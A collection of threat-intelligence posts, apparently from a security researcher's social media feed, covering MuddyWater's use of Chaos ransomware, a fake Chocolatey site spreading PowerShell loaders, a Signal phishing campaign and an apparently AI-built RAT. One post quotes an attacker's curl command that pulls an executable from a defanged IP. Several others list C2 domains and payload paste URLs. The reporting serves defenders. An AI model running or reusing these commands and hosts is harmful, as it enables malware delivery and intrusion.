ch0uch w.

(He/Him) Cyber Rider #DFIR #RedTeam #ThreatIntelligence #ThreatHunting Content in Arabic🇸🇦 English🇺🇸 & French🇫🇷

[ch0uch w. @ChouchWard]

It sounds like the #Qbot (very active campaign) operators forgot to secure their web server so you can grab the access.log from the @VK_Intel @malware_traffic @malwrhunterteam @JAMESWT_MHT @abuse_ch

[ch0uch w. @ChouchWard]

@SBousseaden Awesome!

[Samir @SBousseaden]

Detecting #Tycoon2FA AiTM attacks across Entra ID and Google Workspace. We map telemetry fingerprints across both platforms, ship detection rules for both tiers, and contain incidents in under 10 seconds with Elastic Workflows.

https://t.co/mSxH6m0bGB

[Will @BushidoToken]

Very interesting discovery & assessment: Iran’s MuddyWater APT observed using Chaos Ransomware.

One key piece of context the R7 blog missed, however, is that MuddyWater has been around a long time and was found to use Thanos ransomware several years ago: https://t.co/TQ9RF8ql10

[N Shams @Nav_the_Sham]

In early 2026, MuddyWater (Seedworm), a Iranian state backed threat group, operated under the banner of the Chaos ransomware-as-a-service (RaaS) group, using it to obfuscate ransonware attacks. With Microsoft Teams being the main attack vector, where they used interactive screen-sharing to:
• Harvest credentials
• Manipulate Multi-Factor Authentication (MFA)

Initial attribution comes from MuddyWater adopting alternative ransomware branding, in an effort to reduce attribution and maintain plausible deniability. With the apparent absence of file encryption, representing a deviation from typical ransomware behavior, the inconsistency indicates that the ransomware component may have functioned primarily as a facilitating or obfuscation mechanism.

Initial access came from leveraging Microsoft Teams, where the threat actor engaged employees through external chat requests. Using a interactive screen-sharing exploit to compromise users. The attacker then conducted initial discovery, harvested credentials, including MFA manipulation, and quickly transitioned to using legitimate accounts for internal access.

They then established persistence using remote access tools such as `DWAgent` and `AnyDesk`, before deploying additional payloads and further control of the environment. The TA would later execute commands via `RDP` to download additional payloads using curl:
• `curl hxxp[://]172.86.126[.]208:443/ms_upd[.]exe -o C:\ProgramData\ms_upd[.]exe`

Following this, the TA exfiltrated data from the compromised environment and subsequently contacted the victim via email, claiming data theft and initiating ransom negotiations.

The assessed link to MuddyWater indicates a continued evolution in the group’s operational approach, including the apparent use of RaaS ecosystems and branding to obscure attribution. This aligns with broader trends in which state-aligned actors adopt criminal tactics to introduce ambiguity and delay defensive response.
#ThreatIntel #Cyber #CyberSecurity #CyberSecurityNews #APT #IranAPT #IranWar

https://t.co/uljjmrRvPX

[ch0uch w. @ChouchWard]

@Ced_haurus @fuitesinfos Donc alerter pour alerter.... D'autant plus que beaucoup tentent de bâtir une réputation et veulent que leurs "faits d'armes" soient relayés et fassent le buzz. Récupère des stealers logs et des db en se contentant de redire le narratif des TAs n'apportent rien.

[ch0uch w. @ChouchWard]

@Ced_haurus @fuitesinfos Pardon mais je n'ai que très rarement (voire jamais) un réel travail de triage sur des fuites ou prétendues fuites. Un analyste CTI débutant sait que beaucoup de monde qui peuplent les forums et autres marketplaces font du reuse de leak.

[Mandiant (part of Google Cloud) @Mandiant]

UNC6692 is impersonating IT helpdesk employees on Microsoft Teams to deploy custom malware.

The SNOW ecosystem (SNOWBELT, SNOWGLAZE, SNOWBASIN) enables deep network penetration and exfiltration. Read the analysis and get indicators of compromise.

➡️ https://t.co/vnHZVuNWi2

[Who said what? @g0njxa]

Watch out for fake @chocolateynuget websites delivering related loader malware via malicious PowerShell scripts 🤠

chocolatey[.]co[.]com >> chocolatey[.]net

C2:
api[.]bio9438[.]com
olive3451[.]com

Malicious community[.]chocolatey[.]net/install.ps1 - b7f71a5a2df2aa38c1a4229cb16df0a123eb73923e6e0699c2a177f9e2e63d88

api[.]bio9438[.]com
aeb622aadf8cba10da94773346cfa65eff76a4ad958dd9e2ef6c3109f95e4d28

api[.]bio9438[.]com/1 -> api[.]bio9438[.]com/run/dIG1bXo3
feccbcb1e8c4f1e73c4029ca393d1c782434fc2a9a4f36d615845a49b458cf2c

olive3451[.]com (start.ps1)
200646480d8b71e43aa940343ea546362565f7c61df11c9f74cec625794e9052

[Signal @signalapp]

A response to recent reporting in Germany, in service of clarity and accountability:

First, it’s important to be precise when it comes to critical infrastructure like Signal. Signal was not “hacked” — in that our encryption, infrastructure, and the integrity of the app’s code was not compromised.

However, sophisticated attackers have engaged in a harmful phishing campaign, posing as “Signal Support” by changing their profile display name and using social engineering to trick people into handing over their credentials — information that allowed these attackers to take over some targeted Signal accounts. This is something that plagues any mainstream messaging app once it reaches the scale of Signal, but we know how high the stakes are given the trust people place in us.
In the coming weeks, you’ll see us rolling out a number of changes to help hinder these kinds of attacks.

Because we don’t collect user data, what we know about these attacks comes from the victims of phishing. And from what victims have told us, the attacks followed a broad pattern: after tricking people into revealing their Signal credentials, attackers then used those credentials to take over their account and also frequently changed the associated phone number. Because such a change results in de-registering your Signal accounts, attackers prepared people for this by telling them that being de-registered was intended behavior, and that all they would need to do is “re-register,” or, create a new account. When they moved to create a new Signal account — one that was now decoupled from their hijacked account — the victims thought they were logging back in to their primary account. As a result, many didn't notice the takeover. The compromised accounts were then weaponized to target the victims' contact lists by posing as the owners of the account.

We understand the trust that people put in Signal, and how devastating this kind of social engineering can be. While it’s true that all messaging platforms are susceptible to scammers and phishing that betrays people’s trust and convinces them to “unlock the front door” where no backdoor exists, we are looking to do everything we can to help people avoid and detect such scams.

For the time being, please stay vigilant against phishing and account takeover attempts. Remember that no one from Signal Support will ever send you a message request or ask for your registration verification code or Signal PIN. For an added layer of protection, you can enable Registration Lock in your Signal Settings (Account -> Registration Lock).

[Sans Limite @SansLimit3]

An Open Directory reveals AI-developed(Claude-ChatGPT) #C2 / #RAT framework (PHANTOMREX2026/Rex/Belgorod):
opendir: 101.32.128[.]36:8443

Likely still in testing stage. Telegram artifacts show threat actor's Telegram/WhatsApp chats and self-tests. Repeated "prank" keywords - genuine prank or AI bypass?🤔

-Go implant
-Python listener/CLI
-PowerShell stager
-Custom encrypted protocol over 443
-Exfil via Telegram bots

-paste[.]rs → GitHub Gist → payload:
paste[.]rs/ei7cC (install.ps1 → stub.ps1)
paste[.]rs/9NTrv

Chain:
Shortcut hijack → VBS/PS exec → UAC → loader → HKCU Run → polling agent → RAT deploy

belgorod.exe: 871ceb0b6b187e66caad5e55e787040460b5b9f865ae8765fa741a0c741ffbb7
payload.bin(XOR-obfuscated belgorod.exe):
efe7b09b00628d4ac649d6a378dafb146480abe49573af5eafa193f43181e0a0
@malwrhunterteam @500mk500 @UK_Daniel_Card

[Kostas @Kostastsale]

We are launching our threat intelligence feeds and we’re making them free for the first year for our enterprise customers with access to our threat hunting labs!

Indicators across Windows,Linux and macOS intrusions🥳

Low noise, high fidelity, plug-and-play point 👇

[Group-IB Global @GroupIB]

For over seven years, the #W3LL phishing empire powered a closed community of 500+ cybercriminals with an AiTM #phishing kit called W3LL Panel (aka OV6 panel). Designed specifically to harvest session cookies, validate credentials, and bypass MFA on Microsoft 365 accounts, the kit featured token‑based license activation, a custom API, anti‑bot mechanisms, and obfuscated source code, turning #BEC into a scalable service. #ThreatIntel

[SANS Institute @SANSInstitute]

.@joswr1ght just announced a 720-page modern incident response book. 18 months in the making. The first comprehensive update to foundational IR frameworks since 2001. Released to the community for free. “Someone asked me, ‘Do you like writing?’ I say, ‘No, I like having written.’ That’s a different thing altogether. But I wrote this book because I kept seeing the same problems over and over again.” This is what giving back looks like.

➡️ Details in the RSAC deep dive: https://t.co/0XGzso8Yfz

@OneRSAC | #RSAC #Cybersecurtiy #ThreatIntel #IncidentResponse

[Dawood Sajjadi (داود سجادی) @5tuxnet]

Krypt3ia looks at a MuddyWater (Mango Sandstorm) espionage campaign that looks like a strategic pre-positioning and intelligence collection operation. Synaptics also looks at the group's Telegram naming patterns.
https://t.co/8cNwyliGUA

[blackorbird @blackorbird]

#Sandworm Targeted RDP Backdoor Campaign (2024-2026)

The group has fully evolved its operational strategy from high-impact instantaneous system destruction to intelligence-driven, long-term stealthy persistence.
The campaign leverages a highly modular, iterated attack framework (Tambur/Sumbur/Kalambur/DemiMur) targeting global defense industry, critical infrastructure, and government entities.

https://t.co/LpeBlBSdsl

[omvapt @omvapt]

#Threat_Intelligence Report: #MANGO_SANDSTORM #Dindoor / Fakeset Campaign
https://t.co/M16EveJSin

[mthcht @mthcht2]

LOLEXFIL
Living off the land Data Exfiltration method

https://t.co/iW2n2LBGK1

[blackorbird @blackorbird]

Multiple samples targeting government, defense, and diplomatic themes across Algeria, Mongolia, Ukraine, and Kuwait within a short period of time. The attackers rely on ZIP archives with lure documents to initiate the infection chain.
https://t.co/RrxKxA7fuv

[ch0uch w. @ChouchWard]

@Reuters Algerian army kills seven terrorists

[YungBinary @YungBinary]

New blog! We found an open directory attributed to #MuddyWater Iranian APT and found vulnerabilities/victims they've been targeting, red-team tools, and a loader that deploys a persistent variant of #Tsundere botnet - a MaaS sold by a Russian threat actor that is known for using #EtherHiding to store C2 addresses on the Ethereum blockchain.

https://t.co/45X2IIlkgB